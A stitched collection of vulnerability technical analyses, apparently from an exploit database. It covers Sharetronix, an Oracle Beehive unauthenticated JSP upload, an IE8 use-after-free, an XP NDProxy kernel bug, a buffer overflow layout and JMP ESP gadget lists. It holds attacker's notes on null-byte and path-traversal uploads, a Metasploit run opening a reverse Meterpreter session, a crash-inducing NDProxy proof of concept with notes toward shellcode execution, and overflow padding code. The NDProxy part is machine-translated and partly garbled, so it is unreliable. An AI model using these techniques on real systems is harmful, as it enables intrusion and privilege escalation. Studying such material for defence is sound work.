    6cdfd8c8 jscript!VAR::InvokeDispName+0x0000007d
    6cde9c0e jscript!CScriptRuntime::Run+0x0000208d
    6cdf5c9d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
    6cdf5bfb jscript!ScrFncObj::Call+0x0000008d
    6cdf5e11 jscript!CSession::Execute+0x0000015f
    6cdef3ee jscript!NameTbl::InvokeDef+0x000001b5
    6cdeea2e jscript!NameTbl::InvokeEx+0x0000012c
    6ae27af1 mshtml!CBase::InvokeDispatchWithThis+0x000001e1
1
Technical Analysis

According to the advisory: http://karmainsecurity.com/KIS-2013-11

1) Input passed via the “activities_text” POST parameter to /services/activities/set is not properly sanitised before being used in a call to the “preg_replace()” function with the “e” modifier in the /system/classes/class_post.php script. This can be exploited to inject and execute arbitrary PHP code.

2) Input passed via the “comments_text” POST parameter to /services/comments/set is not properly sanitised before being used in a call to the “preg_replace()” function with the “e” modifier in the /system/classes/class_postcomment.php script. This can be exploited to inject and execute arbitrary PHP code.

And: No official solution is currently available (at the time of advisory publication).

Downloaded Sharetronix 3.1.1 from the official website and found it:

  • class_postcomment.php
$message	= htmlspecialchars($this->comment_message);

if( FALSE!==strpos($message,'http://') || FALSE!==strpos($message,'http://') || FALSE!==strpos($message,'ftp://') ) {
	$message	= preg_replace('#(^|\s)((http|https|ftp)://\w+[^\s\[\]]+)#ie', 'post::_postparse_build_link("\\2", "\\1")', $message);
}
  • class_post.php
$message	= htmlspecialchars($this->post_message);
if( FALSE!==strpos($message,'http://') || FALSE!==strpos($message,'http://') || FALSE!==strpos($message,'ftp://') ) {
	$message	= preg_replace('#(^|\s)((http|https|ftp)://\w+[^\s\[\]]+)#ie', 'post::_postparse_build_link("\\2", "\\1")', $message);
}

Unfortunately, in both cases, htmlspecialchars is called over \(this->comment_message or \)this->post_message, so, evenwhen the preg_replace with /e flag is there, you need “ to scape, unfortunately htmlspecialchars is htmlencoding ” (double quotes).

I guess it was silently patched or something like that, unfortunately, I haven’t access to older versions, I can’t find nothing in the vendor homepage :(

2
Technical Analysis

Oracle Beehive suffers from a vulnerability that allows a remote attacker to upload a malicious
file, and execute it under the context of SYSTEM. Authentication is not required to exploit this
vulnerability.

The prepareAudioToPlay() function found in voice-servlet is meant to be used to prepre for an
wav file upload, such as creating the base path, a session file, etc. The session file creation can
be abused via the playAudioFile.jsp page to upload anything we want without any security checks.

This bug was found while reviewing mr_me’s Oracle Beehive exploit privately submitted to me, which
also exploits the same type of problem in the same voice-servlet, but different function
(processEvaluation). I asked mr_me about the prepareAudioToPlay() one, and turns out he already
reported it to ZDI, so I took no additional steps for disclosure. I was still credited for the
overlapped finding anyway.

This bug is scheduled for public disclosure on Oct 28, 2015 (ZDI-CAN-3004).

Tested & Analyzed Versions

Oracle Beehive 2.0.1.0.0

Code Analysis

The vulnerable function (prepareAudioToPlay) can be found at the following location:
C:\oracle\product\2.0.1.0.0\beehive_2\BEEAPP\applications\voice-servlet\voice-servlet\prompt-qa\Include.jspf

The Include.jspf file serves more like a library for the whole servlet. First off, it retrieves and
initializes the following parameters:

  // Global parameters
  String sessionNumber = request.getParameter("sess");
  String recxml        = request.getParameter("recxml");
  String wavFile       = request.getParameter("wavfile");
  String prevwavFile   = request.getParameter("prevwavfile");
  String audiopath     = request.getParameter("audiopath");
  String evaluation    = request.getParameter("evaluation");
  String testaudiopath = "testaudio";
  //
  prevwavFile = prevwavFile != null && prevwavFile.equalsIgnoreCase("null") ? null :
                prevwavFile;
  // Setup other local variables
  ServletContext context    = pageContext.getServletContext();
  String currDirectory      = context.getRealPath("") + File.separator + "prompt-qa";
  String resultsDirectory   = currDirectory + File.separator + "results";
  String sessionsDirectory  = currDirectory + File.separator + "sessions";
  String recxmlDirectory    = currDirectory + File.separator + "recxmls";
  String testDirectory      = currDirectory + File.separator + testaudiopath;

  //
  // Styles
  //
  .... skipping styles code because not important for our vulnerability ....

  //
  // Initialize the session number and audio path
  //
  sessionNumber   = generateSessionNumber(sessionNumber, sessionsDirectory);
  audiopath       = audiopath == null ? getAudioPath(recxml) : audiopath;

And then here’s our vulnerable function. For the arguments required, we have direct control of:

  • audiopath – this gives us control of the file path of a fastCopy function.
  • recxml – this gives us control of the sess file content.
  • wavFile – this gives us control of how the servlet builds the base path.
  • sessionNumber – this gives us control of the sess file name.

At the end of the function is the FileOutputStream code we can abuse to upload malicious data
to the web server.

  public void prepareAudioToPlay (String audiopath,
                                  String recxml,
                                  String wavFile,
                                  String sessionsDirectory,
                                  String sessionNumber,
                                  String currDirectory,
                                  String testDirectory,
                                  String testaudiopath) {
    //
    // Build the base path for the new audio file.
    //

    if (wavFile.indexOf(File.separator) != -1) {
      String base = wavFile.substring(0, wavFile.indexOf(File.separator));
      File   dir  = new File(testDirectory + File.separator +
                             recxml + File.separator + base);
      dir.mkdirs();
    }
    //
    // Copy the file to test to the testaudio directory and give it a
    // unique name.
    //
    int    index      = 0;
    String newWavFile = wavFile.substring(0,wavFile.length()-4) + "_" + index + ".wav";
    File   fout       = null;
    try {
      fout = new File(testDirectory + File.separator +
                      recxml + File.separator + newWavFile);
      // Generate a unique output file.
      while (fout.exists()) {
        index++;
        newWavFile = wavFile.substring(0,wavFile.length()-4) + "_" + index + ".wav";
        fout = new File(testDirectory + File.separator +
                        recxml + File.separator + newWavFile);

      }
    } catch (Exception e) {}

    File fin  = new File(currDirectory + File.separator +
                         audiopath + wavFile);
    fastCopy(fin, fout);

    //
    // Put the file to play in the session file.
    //
    File             sf  = null;
    FileOutputStream fos = null;
    PrintStream      ps  = null;
    try {
      sf  = new File(sessionsDirectory + File.separator + sessionNumber + ".sess");
      fos = new FileOutputStream(sf, false); // do not append
      ps  = new PrintStream(fos);
      ps.print(testaudiopath + "/" + recxml + "/" + newWavFile);
      ps.close();
      fos.close();
    } catch (Exception e2) {}
  }

Since prepareAudioToPlay() is a function, and Include.jspf does not call itself, we need to
find another page that does. Our ideal candidate is playAudioFile.jsp, because it calls
prepareAudioToPlay() as soon as you request it:

<%@ include file="Include.jspf"%>
<%
prepareAudioToPlay(audiopath,
                   recxml,
                   wavFile,
                   sessionsDirectory,
                   sessionNumber,
                   currDirectory,
                   testDirectory,
                   testaudiopath);

.... more code below but not so relevant to our bug ....

Attacker’s Notes

The two most important parameters are sess and recxml for the prepareAudioToPlay function.

Since the sess parameter is part of the filename:

sf  = new File(sessionsDirectory + File.separator + sessionNumber + ".sess");

We can inject a null byte at the end and supply our own file extension to create an arbitrary file
type (such as JSP). And then we can traverse our way out to a different directory, somewhere that
allows us to call the malicious file with an HTTP request.

The recxml parameter is part of the session file content:

ps.print(testaudiopath + "/" + recxml + "/" + newWavFile);

The testaudiopath variable, the slashes, and the newWavFile variable are junk to us, but should not
affect our malicious code as long as we wrap the code around in a <% ... %> block.

Another thing we need is the wavFile parameter has to be at least 4 bytes long, otherwise we trigger
this bug in the vulnerable function, and our attack fails:

String newWavFile = wavFile.substring(0,wavFile.length()-4) + "_" + index + ".wav";

Demonstration

Exploit is available as oracle_beehive_prepareaudiotoplay.rb:

msf exploit(beehive) > rerun
[*] Reloading module...
[*] Started reverse handler on 192.168.1.64:4444
[*] 192.168.1.109:7777 - Stager name is: blah.jsp
[*] 192.168.1.109:7777 - Executable name is: blah.exe
[*] 192.168.1.109:7777 - Uploading stager...
[*] 192.168.1.109:7777 - Uploading payload...
[*] Sending stage (882688 bytes) to 192.168.1.109
[*] Meterpreter session 7 opened (192.168.1.64:4444 -> 192.168.1.109:2917) at 2015-05-07 02:01:54 -0500
meterpreter >
1
Technical Analysis

— Allocating 0x4C bytes from InsertElementInternal: 0x0563cfb0

In 0x0563cfb0, offset+0 holds a reference to a mshtml!CGenericElement::`vftable':

eax=037cc598 ebx=037cc548 ecx=04a48d10 edx=633b5f09 esi=070eefa0 edi=037cc538
eip=633b5f09 esp=037cc4f8 ebp=037cc55c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript!JsAtan2:
633b5f09 8bff mov edi,edi
0:008> dc 0x0563cfb0; .echo; dc poi(0x0563cfb0)
0563cfb0 06a99fc8 00000000 ffff0075 ffffffff ……..u…….
0563cfc0 00000071 00000000 00000000 00000000 q……………
0563cfd0 00000000 0563cfd8 00000152 00000001 ……c.R…….
0563cfe0 00000000 00000000 0563cfc0 00000000 ……….c…..
0563cff0 00000010 00000000 00000000 d0d0d0d0 …………….
0563d000 ???????? ???????? ???????? ???????? ????????????????
0563d010 ???????? ???????? ???????? ???????? ????????????????
0563d020 ???????? ???????? ???????? ???????? ????????????????

06a99fc8 635db4c8 00000001 00000008 07018fe8 ..]c…………
06a99fd8 049e8d80 00000000 80000075 80010000 ……..u…….
06a99fe8 00000006 0580afe8 06d9efec 00000000 …………….
06a99ff8 00000000 00000000 ???????? ???????? ……..????????
06a9a008 ???????? ???????? ???????? ???????? ????????????????
06a9a018 ???????? ???????? ???????? ???????? ????????????????
06a9a028 ???????? ???????? ???????? ???????? ????????????????
06a9a038 ???????? ???????? ???????? ???????? ????????????????
0:008> !heap -p -a poi(0x0563cfb0)

address 06a99fc8 found in
_DPH_HEAP_ROOT @ 151000
in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                             5087390:          6a99fc8               38 -          6a99000             2000
      mshtml!CGenericElement::`vftable'
7c918f01 ntdll!RtlAllocateHeap+0x00000e64
635db42e mshtml!CGenericElement::CreateElement+0x00000018
635a67f5 mshtml!CreateElement+0x00000043
637917c0 mshtml!CMarkup::CreateElement+0x000002de
63791929 mshtml!CDocument::CreateElementHelper+0x00000052
637918a2 mshtml!CDocument::createElement+0x00000021
635d3820 mshtml!Method_IDispatchpp_BSTR+0x000000d1
636430c9 mshtml!CBase::ContextInvokeEx+0x000005d1
63643595 mshtml!CBase::InvokeEx+0x00000025
63643832 mshtml!DispatchInvokeCollection+0x0000014b
635e1cdc mshtml!CDocument::InvokeEx+0x000000f1
63642f30 mshtml!CBase::VersionedInvokeEx+0x00000020
63642eec mshtml!PlainInvokeEx+0x000000ea
633a6d37 jscript!IDispatchExInvokeEx2+0x000000f8
633a6c75 jscript!IDispatchExInvokeEx+0x0000006a
633a9cfe jscript!InvokeDispatchEx+0x00000098

However, after garbage collecting, mshtml!CGenericElement::`vftable' is freed:

eax=037cc598 ebx=037cc548 ecx=04a48d10 edx=633b5f09 esi=070eefa0 edi=037cc538
eip=633b5f09 esp=037cc4f8 ebp=037cc55c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
jscript!JsAtan2:
633b5f09 8bff mov edi,edi
0:008> !heap -p -a poi(0x0563cfb0)

address 06a99fc8 found in
_DPH_HEAP_ROOT @ 151000
in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                5087390:          6a99000             2000
7c927553 ntdll!RtlFreeHeap+0x000000f9
636b52c6 mshtml!CGenericElement::`vector deleting destructor'+0x0000003d
63628a50 mshtml!CBase::SubRelease+0x00000022
63640d1b mshtml!CElement::PrivateRelease+0x00000029
6363d0ae mshtml!PlainRelease+0x00000025
63663c03 mshtml!PlainTrackerRelease+0x00000014
633a10b4 jscript!VAR::Clear+0x0000005c
6339fb4a jscript!GcContext::Reclaim+0x000000ab
6339fd33 jscript!GcContext::CollectCore+0x00000113
63405594 jscript!JsCollectGarbage+0x0000001d
633a92f7 jscript!NameTbl::InvokeInternal+0x00000137
633a6650 jscript!VAR::InvokeByDispID+0x0000017c
633a9c0b jscript!CScriptRuntime::Run+0x00002989
633a5ab0 jscript!ScrFncObj::CallWithFrameOnStack+0x000000ff
633a59f7 jscript!ScrFncObj::Call+0x0000008f
633a5743 jscript!CSession::Execute+0x00000175

0:008> dc 0x0563cfb0; .echo; dc poi(0x0563cfb0)
0563cfb0 06a99fc8 00000000 ffff0075 ffffffff ……..u…….
0563cfc0 00000071 00000000 00000000 00000000 q……………
0563cfd0 00000000 0563cfd8 00000152 00000001 ……c.R…….
0563cfe0 00000000 00000000 0563cfc0 00000000 ……….c…..
0563cff0 00000010 00000000 00000000 d0d0d0d0 …………….
0563d000 ???????? ???????? ???????? ???????? ????????????????
0563d010 ???????? ???????? ???????? ???????? ????????????????
0563d020 ???????? ???????? ???????? ???????? ????????????????

06a99fc8 ???????? ???????? ???????? ???????? ????????????????
06a99fd8 ???????? ???????? ???????? ???????? ????????????????
06a99fe8 ???????? ???????? ???????? ???????? ????????????????
06a99ff8 ???????? ???????? ???????? ???????? ????????????????
06a9a008 ???????? ???????? ???????? ???????? ????????????????
06a9a018 ???????? ???????? ???????? ???????? ????????????????
06a9a028 ???????? ???????? ???????? ???????? ????????????????
06a9a038 ???????? ???????? ???????? ???????? ????????????????

You can see that the reference is still there.  When the page reloads, this ends up with a crash:

0:008> g
(5f4.2c0): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=63aae200 ebx=0563cfb0 ecx=06a99fc8 edx=00000000 esi=037cf0b8 edi=00000000
eip=6363fcc4 esp=037cf08c ebp=037cf0a4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CElement::Doc:
6363fcc4 8b01 mov eax,dword ptr [ecx] ds:0023:06a99fc8=????????

Callstack at the time of the crash:

0:008> k
ChildEBP RetAddr
037cf1f8 63602718 mshtml!CElement::Doc
037cf214 636026a3 mshtml!CTreeNode::ComputeFormats+0xb9
037cf4c0 63612a85 mshtml!CTreeNode::ComputeFormatsHelper+0x44
037cf4d0 63612a45 mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11
037cf4e0 63612a2c mshtml!CTreeNode::GetFancyFormatHelper+0xf
037cf4f0 63717f30 mshtml!CTreeNode::GetFancyFormat+0x35
037cf4fc 63717f4e mshtml!ISpanQualifier::GetFancyFormat+0x5a
037cf50c 63717afe mshtml!SLayoutRun::HasInlineMbp+0x10
037cf51c 63724f88 mshtml!SRunPointer::HasInlineMbp+0x53
037cf554 6373a5a1 mshtml!CLayoutBlock::GetIsEmptyContent+0xf1
037cf58c 6382ed01 mshtml!CLayoutBlock::GetIsEmptyContent+0x3f
037cf5d8 63702e23 mshtml!CBlockContainerBlock::BuildBlockContainer+0x250
037cf610 63708acf mshtml!CLayoutBlock::BuildBlock+0x1c1
037cf6d4 6370bd31 mshtml!CCssDocumentLayout::GetPage+0x22a
037cf844 63668184 mshtml!CCssPageLayout::CalcSizeVirtual+0x242
037cf97c 6368a1cb mshtml!CLayout::CalcSize+0x2b8
037cfa78 6374799d mshtml!CLayout::DoLayout+0x11d
037cfa8c 636514de mshtml!CCssPageLayout::Notify+0x140
037cfa98 636678c6 mshtml!NotifyElement+0x41
”`

Patch information:

Patch:
Do a mshtml!CLayoutBlock::RemoveChild in mshtml!CBlockContainerBlock::BuildBlockContainer before
the layout structure access. More information about this patch can be found here:

https://blogs.technet.com/b/srd/archive/2013/05/08/microsoft-quot-fix-it-quot-available-to-mitigate-internet-explorer-8-vulnerability.aspx?Redirected=true

1
Technical Analysis

Xp recently broke a local kernel vulnerability extract is said to
capture the eyes of fire in Adobe 0day attack another 0day.

PoC

# Include " windows.h "
# include " stdio.h "
void main ()
{
    HANDLE hDev = CreateFile ( " . \ \ \ \ \ \ NDProxy " , GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0 , NULL);
     if (hDev == INVALID_HANDLE_VALUE)
    {
        printf ( " CreateFile Error:% d \ N " , GetLastError ());
    }
    DWORD inbuf [ 0x15 ] = { 0 };
    DWORD dwRetBytes  = 0 ;
    * (inbuf + 5 ) = 0x7030125 ;
    * (inbuf + 7 ) = 0x34 ;

    DeviceIoControl (hDev, 0x8fff23cc , inbuf, 0x54 , inbuf, 0x24 , & dwRetBytes, 0 );
    CloseHandle (hDev);
}

Details

Directly compiled to run on xp sp3 will cause a blue screen, attach the debugger, see the following
exceptions:

Access violation - code c0000005 (second chance!!!!!!)
 00000038 ?????
  kd> r
  eax = 000001B0 ecx = 00000000 ebx = 81e16d80 edx = 00000000 ESI = 81f31a30 edi = f88f273c
  eip = 00000038 esp = b203ec18 ebp = b203ec34 iopl up EI pl = 0 NV NZ Na PO NC
  cs = 0008 SS = 0010 DS = 0023 es = 0023 fs = 0030 GS = 0000 efl = 00010202
  00000038??
kd> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP Not in . any known Module Following frames May be wrong.
b203ec14 f88ed145 81f31a30 81a76c10 81f2b2c0 0x38
b203ec34 8 04ef129 81f46ed8 000001B0 8 06d32d0 NDProxy! PxIODispatch +0 x2b3
b203ec44 8 0575dde 81e16df0 81a76c10 81e16d80 nt! IopfCallDriver +0 X31
b203ec58 8 0576c7f 81f46ed8 81e16d80 81a76c10 nt! IopSynchronousServiceTail +0 X70
b203ed00 8 056f4ec 000007e8 00000000 00000000 nt! IopXxxControlFile +0 x5e7
b203ed34 8 053e648 000007e8 00000000 00000000 nt! NtDeviceIoControlFile +0 x2a
b203ed34 7c92e4f4 000007e8 00000000 00000000 nt! KiFastCallEntry +0 xf8
 0012fe4c 7c92d26c 7c801675 000007e8 00000000 ntdll! KiFastSystemCallRet
 0012fe50 7c801675 000007e8 00000000 00000000 ntdll! ZwDeviceIoControlFile +0 XC
 0012feb0 004010c2 000007e8 8fff23cc 0012ff28 0x7c801675
 0012ff80 004012e9 00000001 00380fc0 00381058 0x4010c2
 0012ffc0 7c817067 00241fe4 0012f7bc 7ffde000 0x4012e9
 0012fff0 00000000 00,401,200 00000000 78746341 0x7c817067

By using IDA io_code locate handler gPxIODispatch:

if (v7 == 0x8FFF23C8 | | v7 == 0x8FFF23CC )
    {
      V17 = LockState ;
      if (LockState <0x24 | | V6 <0x24)
      {
        v8 = - 1,073,741,820 ;
         GOTO LABEL_70 ;
      }
      v18 = * (_DWORD *) (v5 + 20 ) - 117637377 ;
       v36 = 36 ;
       if ((unsigned int ) v18 <= 0x24)

Restart, and then off to the next handler:

kd> bp NDProxy! PxIODispatch
kd> BL
0 e f888ce92 0001 (0001) NDProxy! PxIODispatch
kd> g

Run poc, program interrupt handler entrance,
Referring ida

v36 = 0 ;
   v2 = LockState ;
   v3 = * (_DWORD *) (LockState + 0x60) ;
   v4 = * (_BYTE *) v3 == 14 ;
   v5 = * (_DWORD *) (LockState + 0xC) ;/ / LockState + 0xC exactly InBuf pointer
   LockState = * (_DWORD *) (v3 + 8 ) ;
   V6 = * (_DWORD *) (v3 + 4 ) ;
   v35 = * (_DWORD *) (v3 + 4 ) ;
kd> dd esp
b20b5c38 804ef129 8212b488 81b28ce8 806d32d0
b20b5c48 80575dde 81b28d58 81ace8a8 81b28ce8
b20b5c58 b20b5d00 80576c7f 8212b488 81b28ce8
b20b5c68 81ace8a8 0012ff00 b20b5d01 b20b5d01
b20b5c78 00000002 b20b5d64 0012fe80 8056f4c2
b20b5c88 80545edc 0012019f 00000000 00000003
00000012 c0100080 b20b5c98 8218aa28 00000e3c
b20b5ca8 00000000 00000e40 00000000 81ace8ec
kd> dd 81b28ce8 +0 XC
81b28cf4 8212d490 8218ac38 8218ac38 00000000
00000000 01010001 0c000000 81b28d04 0012fe8c
81b28d14 00000000 00000000 00000000 00000000
00000000 00000000 00000000 81b28d24 0012ff28
81b28d34 8218aa28 00000000 00000000 00000000
00000000 81b28d58 81ace8a8 81b28d44 00000000
81b28d54 00000000 0005000e 00000024 00000054
00000000 8212b488 81ace8a8 81b28d64 8fff23cc
kd> dd 8212d490
8212d490 00000000 00000000 00000000 00000000
00000000 07030125 00000000 00000034 8212d4a0
8212d4b0 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 8212d4c0
8212d4d0 00000000 00000000 00000000 00000000
8212d4e0 00000000 00000000 0001000c 81ecdbf0
8212d4f0 0a060001 ee657645 00000001 00000001
00000000 81e55408 00000000 821b6980 8212d500

Look directly handle iocode places:

if (M_iocode == 0x8FFF23C8 | | M_iocode == 0x8FFF23CC )
    {
      V17 = LockState;
       if (LockState < 0x24 | | V6 < 0x24 )
      {
        v8 = 0xC0000004u ;
         GOTO LABEL_70;
      }
      v18 = * (_DWORD *) (v5 + 0x14 ) - 0x7030101 ;/ / v5 +0 x14 == 0x7030125
      v36 = 36 ;
       if ((unsigned int ) v18 <= 0x24 ) == 0x24 v18
      {
        v19 = * (_DWORD *) (v5 + 0x1c ); / / v19 = 0x34
        v20 = 3 * v18;
        v21 = v19 < dword_F8892004 [v20] ;/ / dword_F8892004 [v20] is exactly equal to 0x34
        LockState = v20 * 4 ;/ / v5 is assigned here
         if (v21 | | v19> V17 - 32 ) / / skip this if
        {
          * (_DWORD *) (V5 + 16 ) = 0xC0012019u ;
        }
        else / / enter here
        {
          V22 = KfAcquireSpinLock (& SpinLock);
          byte_F8892740 = V22;
           if (TspCB)
          {
            LOBYTE (v23) = V22;
            KfReleaseSpinLock ( & SpinLock, v23);
            * (_DWORD *) (v5 + 16 ) = 4097 ;
          }
          else
          {
            + + dword_F8892734;
             if ((unsigned int ) dword_F8892734> 0xFFFFFFFE )
              dword_F8892734 = - 2147483647 ;
            * (_DWORD *) (v5 + 12 ) = dword_F8892734;
            * (_DWORD *) (v5 + 8 ) = v2;
            LOBYTE (v23) = byte_F8892740;
            KfReleaseSpinLock ( & SpinLock, v23);
            * (_BYTE *) (* (_DWORD *) (v2 + 96 ) + 3 ) | = 1u ;
            V24 = (* ( int (__ stdcall **) ( int )) (( char *) & off_F8892008 + LockState)) (v5) ;/ / here exception of
             if (V24 == 259 )
               return 259 ;
            v36 = v35;
             if (v35> = * (_DWORD *) (v5 + 28 ) + 36 )
              v36 = * (_DWORD *) (v5 + 28 ) + 36 ;
            * (_DWORD *) (v5 + 16 ) = V24;
            _InterlockedExchange ((Signed __ Int32 *) (v2 + 56 ), 0 );
          }
        }
      }

assembler code is as follows:

text: F885D0AD loc_F885D0AD:; CODE XREF: PxIODispatch (x, x) +20 D J
. text: F885D0AD mov ecx, [ESI +1 Ch] / / ESI +1 c controllable
text: F885D0B0 lea eax, [eax + eax * 2. ] / / eax controllable
text:. F885D0B3 shl eax, 2
text:. F885D0B6 cmp ecx, dword_F8862004 [eax]
text:. F885D0BC mov dword ptr [ebp + LockState.LockState], eax / / pollution LockState.LockState
text.: F885D0BF JNB short loc_F885D0CD
. text: F885D0C1
text: F885D0C1 loc_F885D0C1:;. CODE XREF: PxIODispatch (x, x) +240 J
text: F885D0C1 mov dword ptr [ESI +10 h], 0C0012019h.
text: F885D0C8 jmp loc_F885D172.
...
. Text: mov eax F885D134, [ebx +60 h]
text:. F885D137 or byte ptr [eax +3], 1
text:. F885D13B mov eax, dword ptr [ebp + LockState.LockState] / / pollution eax
text:. F885D13E PUSH ESI
. text: F885D13F Call off_F8862008 [eax]; Exception!
Contaminated eax as an array subscript off_F8862008 passed to the eip.
kd> g
Breakpoint 2 HIT
NDProxy PxIODispatch +0 x2ad:!
! f885d13f ff90082086f8 Call dword ptr NDProxy TapiOids +0 x8 (f8862008) [eax]
kd> r
eax = 000001B0 ecx = 00000000 ebx = 81e2c2f8 edx = 00000000 ESI = 81cc9368 edi = f886273c
eip = f885d13f esp = b1bd9c1c ebp = b1bd9c34 iopl up EI pl = 0 NV NZ Na PO NC
cs = 0008 SS = 0010 DS = 0023 es = 0023 fs = 0030 GS = 0000 efl = 00000202
NDProxy PxIODispatch +0 x2ad:!
f885d13f ff90082086f8 Call dword ! ptr NDProxy TapiOids +0 x8 (f8862008) [eax] ds: 0023: f88621b8 = 00000038

Here eax = 0x1b0 ie 0x24 * 3 * 4

As for how not to good use, can now expect to be able to control the array eax certain locations
to perform shellcode.

1
Technical Analysis

-

In addition, ```var_DE64``` is used to store the ```UserID``` information by a simple memcpy routine:

.text:0040F2D7 mov eax, ecx
.text:0040F2D9 mov esi, edi
.text:0040F2DB mov edi, edx
.text:0040F2DD push ebx
.text:0040F2DE shr ecx, 2
.text:0040F2E1 rep movsd

If ```UserID``` has a value of "AAAA", in a debugger the buffers would look like this:

01EEB494 41414141 AAAA
01EEB498 00000000 ….
01EEB49C 00000000 ….
01EEB4A0 00000000 ….
01EEB4A4 00000000 ….
01EEB4A8 00000000 ….
01EEB4AC 00000000 ….
01EEB4B0 00000000 ….
01EEB4B4 00000000 ….
01EEB4B8 00000000 ….
01EEB4BC 00000000 ….
01EEB4C0 00000000 ….
01EEB4C4 00000000 ….
01EEB4C8 00000000 ….
01EEB4CC 00000000 ….
01EEB4D0 00000000 ….
01EEB4D4 01000101 .
01EEB4D8 016EE168 hán ASCII “2.60 ,MyDB Engine,Copyright_2002 MGH Software Inc.”
01EEB4DC 00518470 p„Q. abws.00518470
01EEB4E0 00518470 p„Q. abws.00518470
01EEB4E4 004F2F7C |/O. abws.004F2F7C
01EEB4E8 00000250 P..

In the above example, the range from 01EEB494 to 01EEB4D0 is exactly 64 bytes, this is our
```var_DE64``` buffer. Right below that is our ```var_DE24```, which is what ESI points to
at the time of the crash. At the 0x10th byte of ESI is where EDX is, which is used by the
```CALL DWORD [edx+28h]``` instruction. The following code represents this:

```ruby
buf = "A" * 64         # 64 bytes for var_DE64
buf << "BBBB"          # We start overwriting var_DE24 buffer here
buf << "C" * (16-4)    # Padding for [ESI+10h] so the 16th DWORD is our DDDD
buf << "DDDD"          # EDX (which will be used by the CALL DWORD [edx+28h] instruction)
buf << "E" * (4 * 100) # Extra padding so we can see the overflow better

Since the overflow ends up writing an object in var_DE24 and gets used by the function,
this results a type confusion (a string being treated as an object).

Breakpoints

  • The first breakpoint is the alloca_probe call
  • The second breakpoint is the destination buffer for the mempcy that copies the UserID value to var_DE64
  • The third is the beginning of the vulnerable function
0:006> bl
 0 e 0040f10a     0001 (0001)  0:**** abws+0xf10a
 1 e 0040f2db     0001 (0001)  0:**** abws+0xf2db
 2 e 0040f0f0     0001 (0001)  0:**** abws+0xf0f0
1
Technical Analysis


”`

References

http://www.php.net/ChangeLog-5.php#5.4.3
Fixed bug #61807 Buffer Overflow in apache_request_headers, CVE-2012-2329. => Bug private at the moment of writing

http://www.securityfocus.com/bid/53455

Redhat, include patches:
https://bugzilla.redhat.com/show_bug.cgi?id=820000

1
Technical Analysis
start    end        module name
00400000 0041a000   lhttpd   C:\Documents and Settings\Administrator\My Documents\Downloads\ad9f3af85dc51499f7d252eb11bac5a2-lhttpd0.1-win\lhttpd\lhttpd.exe
662b0000 66308000   hnetcfg  C:\WINDOWS\system32\hnetcfg.dll
71a50000 71a8f000   mswsock  C:\WINDOWS\system32\mswsock.dll
71a90000 71a98000   wshtcpip C:\WINDOWS\System32\wshtcpip.dll
71aa0000 71aa8000   WS2HELP  C:\WINDOWS\system32\WS2HELP.dll
71ab0000 71ac7000   WS2_32   C:\WINDOWS\system32\WS2_32.dll
71ad0000 71ad9000   WSOCK32  C:\WINDOWS\system32\WSOCK32.DLL
76390000 763ad000   IMM32    C:\WINDOWS\system32\IMM32.DLL
77c10000 77c68000   msvcrt   C:\WINDOWS\system32\msvcrt.dll
77dd0000 77e6b000   ADVAPI32 C:\WINDOWS\system32\ADVAPI32.dll
77e70000 77f02000   RPCRT4   C:\WINDOWS\system32\RPCRT4.dll
77f10000 77f59000   GDI32    C:\WINDOWS\system32\GDI32.dll
77fe0000 77ff1000   Secur32  C:\WINDOWS\system32\Secur32.dll
7c800000 7c8f6000   kernel32 C:\WINDOWS\system32\kernel32.dll
7c900000 7c9af000   ntdll    C:\WINDOWS\system32\ntdll.dll
7e410000 7e4a1000   USER32   C:\WINDOWS\system32\USER32.DLL

Found sequences (All Modules)

Address    Disassembly                               Comment                                   Module Name
00401000   JMP SHORT lhttpd.00401012                 (Initial CPU selection)                   C:\Documents and Settings\Administrator\My Documents\Downloads\ad9f3af85dc51499f7d252eb11bac5a2-lhttpd0.1-win\lhttpd\lhttpd.exe
662B1000   TEST AL,7C                                (Initial CPU selection)                   C:\WINDOWS\system32\hnetcfg.dll
662EB24F   JMP ESP                                                                             C:\WINDOWS\system32\hnetcfg.dll
71A51000   MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]  (Initial CPU selection)                   C:\WINDOWS\system32\mswsock.dll
71A91000   SBB BL,BYTE PTR DS:[ESI]                  (Initial CPU selection)                   C:\WINDOWS\System32\wshtcpip.dll
71A91C8B   JMP ESP                                                                             C:\WINDOWS\System32\wshtcpip.dll
71AA1000   MOV ECX,A877DD7C                          (Initial CPU selection)                   C:\WINDOWS\system32\WS2HELP.dll
71AB1000   OUT DX,AL                                 (Initial CPU selection)                   C:\WINDOWS\system32\WS2_32.dll
71AD1000   ADC EAX,DWORD PTR ES:[ECX+8017E97C]       (Initial CPU selection)                   C:\WINDOWS\system32\WSOCK32.DLL
76391000   MOV EDX,A877DD7F                          (Initial CPU selection)                   C:\WINDOWS\system32\IMM32.DLL
77C11000   MOV BYTE PTR DS:[EAX+EAX*4+90FE017C],BL   (Initial CPU selection)                   C:\WINDOWS\system32\msvcrt.dll
77DD1000   SUB DWORD PTR DS:[ESI],EDX                (Initial CPU selection)                   C:\WINDOWS\system32\ADVAPI32.dll
77DEF049   JMP ESP                                                                             C:\WINDOWS\system32\ADVAPI32.dll
77DF965B   JMP ESP                                                                             C:\WINDOWS\system32\ADVAPI32.dll
77E18063   JMP ESP                                                                             C:\WINDOWS\system32\ADVAPI32.dll
77E23B63   JMP ESP                                                                             C:\WINDOWS\system32\ADVAPI32.dll
77E42A9F   JMP ESP                                                                             C:\WINDOWS\system32\ADVAPI32.dll
77E71000   MOV DH,79                                 (Initial CPU selection)                   C:\WINDOWS\system32\RPCRT4.dll
